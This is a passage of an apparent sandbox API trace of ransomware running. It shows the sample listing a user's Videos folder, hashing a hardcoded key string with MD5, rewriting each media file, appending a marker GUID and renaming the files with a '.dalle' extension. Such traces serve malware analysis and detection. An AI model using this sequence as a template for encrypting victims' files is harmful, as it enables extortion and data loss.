HALPmcxz\\Videos\\") returned="Videos\\" [0121.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.490] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.490] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.490] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.490] PathFindFileNameW (pszPath="") returned="" [0121.490] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ad56a30, ftCreationTime.dwHighDateTime=0x1d4d06c, ftLastAccessTime.dwLowDateTime=0xc9503110, ftLastAccessTime.dwHighDateTime=0x1d4ccc0, ftLastWriteTime.dwLowDateTime=0xc9503110, ftLastWriteTime.dwHighDateTime=0x1d4ccc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.491] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.491] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ad56a30, ftCreationTime.dwHighDateTime=0x1d4d06c, ftLastAccessTime.dwLowDateTime=0xc9503110, ftLastAccessTime.dwHighDateTime=0x1d4ccc0, ftLastWriteTime.dwLowDateTime=0xc9503110, ftLastWriteTime.dwHighDateTime=0x1d4ccc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.491] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bf1040, ftCreationTime.dwHighDateTime=0x1d4d36d, ftLastAccessTime.dwLowDateTime=0x15402580, ftLastAccessTime.dwHighDateTime=0x1d4cd20, ftLastWriteTime.dwLowDateTime=0x15402580, ftLastWriteTime.dwHighDateTime=0x1d4cd20, nFileSizeHigh=0x0, nFileSizeLow=0x16022, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="79si7ZeLhYFP.flv", cAlternateFileName="79SI7Z~1.FLV")) returned 1 [0121.491] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\79si7ZeLhYFP.flv") returned=".flv" [0121.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\79si7ZeLhYFP.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\79si7zelhyfp.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.491] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=90146) returned 1 [0121.491] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.493] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.493] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.494] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x16022, lpOverlapped=0x0) returned 1 [0121.495] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.495] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.495] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.495] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.496] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.496] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.496] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.496] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.496] GetLastError () returned 0x0 [0121.496] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.496] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x16020) returned 0x3096780 [0121.497] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.497] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x1601d, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x1601d, lpOverlapped=0x0) returned 1 [0121.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.497] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16022, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.497] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.498] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.498] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.498] CloseHandle (hObject=0x618) returned 1 [0121.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.499] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\79si7ZeLhYFP.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\79si7zelhyfp.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\79si7ZeLhYFP.flv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\79si7zelhyfp.flv.dalle")) returned 1 [0121.500] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x311de5a0, ftCreationTime.dwHighDateTime=0x1d4cc06, ftLastAccessTime.dwLowDateTime=0x41f18700, ftLastAccessTime.dwHighDateTime=0x1d4c8c4, ftLastWriteTime.dwLowDateTime=0x41f18700, ftLastWriteTime.dwHighDateTime=0x1d4c8c4, nFileSizeHigh=0x0, nFileSizeLow=0x7c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eknZ1ElyFLFFe.swf", cAlternateFileName="EKNZ1E~1.SWF")) returned 1 [0121.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.500] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\eknZ1ElyFLFFe.swf") returned=".swf" [0121.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\eknZ1ElyFLFFe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\eknz1elyflffe.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.501] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=1991) returned 1 [0121.501] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.502] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.503] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.504] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.504] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x7c7, lpOverlapped=0x0) returned 1 [0121.504] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.504] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.504] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.504] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.504] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.505] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.505] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.505] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.505] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.505] GetLastError () returned 0x0 [0121.505] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.505] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.505] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.505] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.505] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.506] CloseHandle (hObject=0x618) returned 1 [0121.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.506] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\eknZ1ElyFLFFe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\eknz1elyflffe.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\eknZ1ElyFLFFe.swf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\eknz1elyflffe.swf.dalle")) returned 1 [0121.507] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7498d5b0, ftCreationTime.dwHighDateTime=0x1d4d520, ftLastAccessTime.dwLowDateTime=0xf7822020, ftLastAccessTime.dwHighDateTime=0x1d4c748, ftLastWriteTime.dwLowDateTime=0xf7822020, ftLastWriteTime.dwHighDateTime=0x1d4c748, nFileSizeHigh=0x0, nFileSizeLow=0xfa7e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JljeDE FbKXuiY1.swf", cAlternateFileName="JLJEDE~1.SWF")) returned 1 [0121.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.508] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\JljeDE FbKXuiY1.swf") returned=".swf" [0121.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\JljeDE FbKXuiY1.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\jljede fbkxuiy1.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.508] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=64126) returned 1 [0121.508] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.510] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfa58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.510] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.511] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.511] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xfa7e, lpOverlapped=0x0) returned 1 [0121.512] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.512] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.512] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.512] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.512] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.513] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.513] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.513] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.513] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.513] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.513] GetLastError () returned 0x0 [0121.513] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.513] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.514] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfa7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.514] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.514] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.514] CloseHandle (hObject=0x618) returned 1 [0121.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.515] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\JljeDE FbKXuiY1.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\jljede fbkxuiy1.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\JljeDE FbKXuiY1.swf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\jljede fbkxuiy1.swf.dalle")) returned 1 [0121.516] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37ce9f0, ftCreationTime.dwHighDateTime=0x1d4c956, ftLastAccessTime.dwLowDateTime=0xe295f530, ftLastAccessTime.dwHighDateTime=0x1d4c5e8, ftLastWriteTime.dwLowDateTime=0xe295f530, ftLastWriteTime.dwHighDateTime=0x1d4c5e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd3e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJouaT8GLVkAGNwL.mp4", cAlternateFileName="MJOUAT~1.MP4")) returned 1 [0121.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.517] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\mJouaT8GLVkAGNwL.mp4") returned=".mp4" [0121.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\mJouaT8GLVkAGNwL.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\mjouat8glvkagnwl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.517] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=52542) returned 1 [0121.517] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.519] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcd18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.519] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.520] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xcd3e, lpOverlapped=0x0) returned 1 [0121.521] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.521] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.521] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.521] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.521] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.522] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.522] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.522] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.522] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.522] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.522] GetLastError () returned 0x0 [0121.522] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.522] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.522] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcd3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.522] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.522] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.522] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.523] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.523] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.523] CloseHandle (hObject=0x618) returned 1 [0121.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.524] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\mJouaT8GLVkAGNwL.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\mjouat8glvkagnwl.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\mJouaT8GLVkAGNwL.mp4.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1rxobmk76mtowuy0nfm\\mjouat8glvkagnwl.mp4.dalle")) returned 1 [0121.525] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37ce9f0, ftCreationTime.dwHighDateTime=0x1d4c956, 